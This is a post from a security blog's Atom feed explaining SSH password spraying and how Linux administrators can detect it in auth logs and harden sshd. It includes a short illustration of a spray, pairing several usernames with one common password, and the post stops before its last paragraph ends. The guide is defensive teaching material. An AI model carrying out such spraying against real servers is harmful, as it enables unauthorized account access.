<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1111476952972289330</id><updated>2026-10-21T08:20:23.744-07:00</updated><category term="Hacking"/><category term="Bash Scripting"/><category term="Cyber Security"/><category term="kali linux"/><category term="python"/><category term="google"/><category term="Web Penetration Testing"/><category term="Bug Bounty"/><category term="Github"/><category term="Networking"/><category term="ethical hacking"/><category term="CEH v10 ( Certified Ethical Hacking )"/><category term="CEH v10 Footprinting and Reconnaissance"/><category term="Linux CMD"/><category term="XSS Cross Site Scripting"/><category term="Computer Networking"/><category term="Hacking News"/><category term="Brute Force Attack"/><category term="CEH v10 Scanning"/><category term="Hacking UI"/><category term="Portswigger"/><category term="Android Hacking"/><category term="IP address"/><category term="IoT project"/><category term="Linux Command"/><category term="Darkweb"/><category term="vulnerability"/><category term="CVE"/><category term="Cryptography"/><category term="Enumeration"/><category term="IP Theft"/><category term="Malware"/><category term="Metasploit"/><category term="Steganography"/><category term="Termux Tutorial"/><category term="Web cache deception"/><category term="XML eXtensible Markup Language"/><category term="anonymous"/><category term="arpcache poisoning"/><category term="ctf"/><category term="debugging"/><category term="hacker101"/><category term="hacking lab"/><category term="keylogger"/><category term="netcat"/><category term="password hack"/><category term="penetration testing"/><category term="tor"/><category term="wireshark"/><category term="ADB"/><category term="AI"/><category term="Batch Script"/><category term="Books"/><category term="CIA triad"/><category term="CORS"/><category term="CSRF"/><category term="ChatGpt"/><category term="Credit Card Spoofer"/><category term="Encode Decode"/><category term="Error"/><category term="File Inclusion"/><category term="HTML Injection"/><category term="Hackers"/><category term="Hacking Books"/><category term="Host Header Injection"/><category term="IDOR"/><category term="Integrity"/><category term="Interview Questions"/><category term="Malware PDF Book"/><category term="Nmap Network Scanning PDF Book"/><category term="OSINT"/><category term="Privilege Escalation"/><category term="PwnKit Polkit Vulnerability"/><category term="Python PDF Book"/><category term="Reverse Shell"/><category term="Russia vs Ukraine cyber war"/><category term="SOP"/><category term="SSRF"/><category term="Search Engine"/><category term="SenderPolicyFramework"/><category term="Trace Email"/><category term="URL Paramter"/><category term="UTF-8"/><category term="XSS cheatsheet"/><category term="arpalert"/><category term="c programming"/><category term="cloudflare"/><category term="cookies"/><category term="curl"/><category term="data breach"/><category term="deepweb"/><category term="dorking"/><category term="dvwa"/><category term="html"/><category term="interview ethical hacking questions"/><category term="kernel"/><category term="localhost"/><category term="netstat"/><category term="p0f"/><category term="pmap"/><category term="ports"/><category term="smartphone"/><category term="sms bombing"/><category term="sniffing"/><category term="sql"/><category term="ssh"/><category term="sublime editor"/><category term="subnet"/><category term="sudo"/><category term="suid"/><category term="te"/><category term="tiktok"/><category term="tools"/><category term="vapt"/><category term="vim editor"/><category term="virtualization"/><category term="vlan hopping"/><category term="web development"/><category term="wifi hack"/><category term="windows"/><category term="wps"/><title type='text'>Hacking Truth</title><subtitle type='html'>When You Think About Hacking Definately Hackers Will Think About You - Kumar Atul Jaiswal</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>196</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-461161271501479004</id><published>2026-07-11T03:05:03.204-07:00</published><updated>2026-07-11T03:05:03.204-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="kali linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="vapt"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>ssh-password-spraying-linux-security-guide</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://hackingtruth.in&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;ssh-password-spraying-linux-security-guide&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1024&quot;
      data-original-width=&quot;1536&quot;
      height=&quot;426&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDB92Z29OIIeLL6Ib4F4aUIDGsRnbFEFa7Lzz1dDb6inIiPGVgezAXb9g3LD-qncUvMZc1bfZ5xvaGjnJCgpmx0XSIDkv5bagk9Dgz0ygANsbrEURCb7Fx7yFCvXjkQXXl4ihjDgrQz6ZXVup35lGIRIiiM3d0wJEUHWM6-woWxlpfX9LFRIMKAD0j_yOG/w640-h426/ssh-password-spraying-linux-security-guide.png&quot;
      title=&quot;ssh-password-spraying-linux-security-guide&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Could Your SSH Service Withstand Password Spraying?
&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;
  Every Linux administrator enables SSH because it is the fastest and most
  secure way to manage remote systems. However, the same service is also one of
  the most targeted attack surfaces on the Internet.
&lt;/p&gt;
&lt;p&gt;
  Unlike traditional brute-force attacks that repeatedly try many
  &lt;b&gt;&lt;i&gt;passwords &lt;/i&gt;&lt;/b&gt;against a single account, password spraying is much
  stealthier. Attackers test a small number of common passwords across hundreds
  or thousands of &lt;b&gt;&lt;i&gt;usernames&lt;/i&gt;&lt;/b
  &gt;, making it much harder to detect and often avoiding account lockout
  policies.
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The question is simple:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  If someone started password spraying your SSH server today, would it survive?
&lt;/p&gt;
&lt;p&gt;
  In this guide, you&#39;ll learn how password spraying works, how attackers perform
  it, how to detect it, and the best ways to secure your Linux server.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;What Is Password Spraying?&lt;/h4&gt;
&lt;p&gt;
  &lt;i&gt;&lt;b&gt;Password spraying&lt;/b&gt;&lt;/i&gt; is a&lt;i&gt;&lt;b&gt; cyberattack &lt;/b&gt;&lt;/i&gt;where an
  attacker tries one common password against many user accounts instead of
  trying many passwords against one account.
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Example&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Instead of:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;admin&lt;/li&gt;
  &lt;li&gt;123456&lt;/li&gt;
  &lt;li&gt;password&lt;/li&gt;
  &lt;li&gt;admin123&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2290560912&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Against one user:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;atul&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The attacker tries:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;atul : Welcome@123&lt;/li&gt;
  &lt;li&gt;john : Welcome@123&lt;/li&gt;
  &lt;li&gt;root : Welcome@123&lt;/li&gt;
  &lt;li&gt;ubuntu : Welcome@123&lt;/li&gt;
  &lt;li&gt;developer : Welcome@123&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then waits several hours before trying another common password.&lt;/p&gt;
&lt;p&gt;
  Because login attempts are spread across multiple accounts, many security
  systems fail to recognize the attack.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Why Attackers Love SSH?&lt;/h4&gt;
&lt;p&gt;SSH is usually exposed on:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Cloud VPS&lt;/li&gt;
  &lt;li&gt;AWS EC2&lt;/li&gt;
  &lt;li&gt;Azure Virtual Machines&lt;/li&gt;
  &lt;li&gt;Google Cloud&lt;/li&gt;
  &lt;li&gt;DigitalOcean&lt;/li&gt;
  &lt;li&gt;Home Labs&lt;/li&gt;
  &lt;li&gt;Raspberry Pi&lt;/li&gt;
  &lt;li&gt;Enterprise Linux Servers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  If password authentication is enabled, attackers continuously scan the
  Internet looking for SSH services.
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Popular targets include:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Ubuntu&lt;/li&gt;
  &lt;li&gt;Debian&lt;/li&gt;
  &lt;li&gt;Kali Linux&lt;/li&gt;
  &lt;li&gt;CentOS&lt;/li&gt;
  &lt;li&gt;Rocky Linux&lt;/li&gt;
  &lt;li&gt;AlmaLinux&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;How Password Spraying Works&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2yFjd6sKX3pRvwi_KvQAMU_O48hm9HgP1Y1Zs02cWmcl5EY8F4Zhv6fSWB9r7dPCCTI1sC8ZFINjECJHrCo8gqlo8tMx0X7D9wAdNUKR-n-vIxoVRT4MP5eQgUzMTU54fRMLbvAo8NY054i25VOr0YBKjwLv5h9_b7fNzUOFce6cYqHxE2eA8ul9iGmej/s435/ssh.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;ssh-password-spraying-linux-security-guide&quot;
      border=&quot;0&quot;
      data-original-height=&quot;435&quot;
      data-original-width=&quot;406&quot;
      height=&quot;640&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2yFjd6sKX3pRvwi_KvQAMU_O48hm9HgP1Y1Zs02cWmcl5EY8F4Zhv6fSWB9r7dPCCTI1sC8ZFINjECJHrCo8gqlo8tMx0X7D9wAdNUKR-n-vIxoVRT4MP5eQgUzMTU54fRMLbvAo8NY054i25VOr0YBKjwLv5h9_b7fNzUOFce6cYqHxE2eA8ul9iGmej/w598-h640/ssh.png&quot;
      title=&quot;ssh-password-spraying-linux-security-guide&quot;
      width=&quot;598&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;If any account uses that password, the attacker gains access.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Signs Your SSH Server Is Under Attack&lt;/h4&gt;
&lt;p&gt;Common symptoms include:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Numerous failed SSH login attempts&lt;/li&gt;
  &lt;li&gt;Authentication failures from multiple IP addresses&lt;/li&gt;
  &lt;li&gt;Repeated attempts targeting many usernames&lt;/li&gt;
  &lt;li&gt;High activity in SSH logs&lt;/li&gt;
  &lt;li&gt;Unexpected CPU spikes due to authentication processing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Check SSH Logs&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Ubuntu/Debian&lt;/li&gt;
  &lt;li&gt;sudo cat /var/log/auth.log&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;CentOS/RHEL&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo cat /var/log/secure&lt;/li&gt;
  &lt;li&gt;Search for failed logins:&lt;/li&gt;
  &lt;li&gt;grep &quot;Failed password&quot; /var/log/auth.log&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Example:&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Failed password for invalid user admin&lt;/li&gt;
  &lt;li&gt;Failed password for root&lt;/li&gt;
  &lt;li&gt;Failed password for ubuntu&lt;/li&gt;
  &lt;li&gt;Failed password for developer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;This pattern often indicates automated attacks.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;View Failed SSH Attempts&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;b&gt;Count failed logins:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    grep &quot;&lt;b&gt;&lt;i&gt;Failed password&lt;/i&gt;&lt;/b
    &gt;&quot; /var/log/auth.log | wc -l
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- decoded money first ad --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;8395802249&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Find attacking IPs:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    grep &quot;&lt;i&gt;&lt;b&gt;Failed password&lt;/b&gt;&lt;/i
    &gt;&quot; /var/log/auth.log | awk &#39;{print $(NF-3)}&#39; | sort | uniq -c | sort -nr
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;How to Protect SSH&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;1. Disable Password Authentication&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;SSH keys are significantly more secure than passwords.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Edit:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo nano /etc/ssh/sshd_config&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Set:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;PasswordAuthentication no&lt;/li&gt;
  &lt;li&gt;PubkeyAuthentication yes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Restart SSH:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo systemctl restart ssh&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;2. Disable Root Login&lt;/h4&gt;
&lt;p&gt;Never allow direct root logins.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;PermitRootLogin no&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;3. Use Strong SSH Keys&lt;/h4&gt;
&lt;p&gt;Generate an Ed25519 key:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;ssh-keygen -t ed25519&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Copy it to the server:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;ssh-copy-id user@server-ip&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;4. Change the Default SSH Port&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;
  Although changing the default port won&#39;t stop determined
  &lt;b&gt;&lt;i&gt;attackers&lt;/i&gt;&lt;/b
  &gt;, it reduces noise from &lt;i&gt;automated bots&lt;/i&gt;.
&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Port 2222&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Remember to update your firewall rules accordingly.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;5. Install Fail2Ban&lt;/h4&gt;
&lt;p&gt;Install:&lt;/p&gt;
&lt;p&gt;Ubuntu&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo apt install fail2ban&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Start service:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo systemctl enable fail2ban&lt;/li&gt;
  &lt;li&gt;sudo systemctl start fail2ban&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Check status:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo fail2ban-client status sshd&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Fail2Ban blocks IP addresses after repeated failed login attempts.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;6. Enable Two-Factor Authentication&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;Even if a password is compromised, MFA can prevent unauthorized access.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Popular options:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Google Authenticator&lt;/li&gt;
  &lt;li&gt;Authy&lt;/li&gt;
  &lt;li&gt;Duo Security&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;7. Restrict Users&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;Limit SSH access to specific users.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;AllowUsers atul admin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;8. Use a Firewall&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;With UFW:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo ufw allow 22/tcp&lt;/li&gt;
  &lt;li&gt;sudo ufw enable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;For a custom SSH port:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo ufw allow 2222/tcp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;9. Monitor Login Attempts&lt;/h4&gt;
&lt;p&gt;View active sessions:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;who&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;b&gt;Recent logins:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;last&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Current SSH connections:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;ss -tnp | grep ssh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;10. Keep OpenSSH Updated&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;b&gt;Update packages regularly:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;Ubuntu&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo apt update&lt;/li&gt;
  &lt;li&gt;sudo apt upgrade&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Kali&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;sudo apt full-upgrade&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Common Mistakes&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;Avoid these risky configurations:&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;❌ Weak passwords&lt;/li&gt;
  &lt;li&gt;❌ Root login enabled&lt;/li&gt;
  &lt;li&gt;❌ Password authentication enabled&lt;/li&gt;
  &lt;li&gt;❌ No firewall&lt;/li&gt;
  &lt;li&gt;❌ No monitoring&lt;/li&gt;
  &lt;li&gt;❌ Ignoring SSH logs&lt;/li&gt;
  &lt;li&gt;❌ Not updating openSSH&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- decoded money first ad --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;8395802249&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Security Hardening Checklist&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Disable root login&lt;/li&gt;
  &lt;li&gt;Disable password authentication&lt;/li&gt;
  &lt;li&gt;Use SSH keys&lt;/li&gt;
  &lt;li&gt;Install Fail2Ban&lt;/li&gt;
  &lt;li&gt;Enable MFA&lt;/li&gt;
  &lt;li&gt;Restrict SSH users&lt;/li&gt;
  &lt;li&gt;Change the default port (optional)&lt;/li&gt;
  &lt;li&gt;Monitor logs regularly&lt;/li&gt;
  &lt;li&gt;Keep OpenSSH updated&lt;/li&gt;
  &lt;li&gt;Back up SSH configuration before changes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Final Thoughts&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;
  Password spraying remains one of the most effective techniques attackers use
  against exposed SSH services because it exploits weak password practices
  rather than software vulnerabilities.
&lt;/p&gt;
&lt;p&gt;
  A secure SSH configuration should rely on public key authentication, strong
  account policies, monitoring, and defense-in-depth controls such as Fail2Ban,
  firewalls, and multi-factor authentication. Regularly reviewing authentication
  logs and keeping OpenSSH up to date significantly reduces the risk of
  compromise.
&lt;/p&gt;
&lt;p&gt;
  If your server is still using password-based SSH authentication, now is the
  time to harden it before attackers find it.
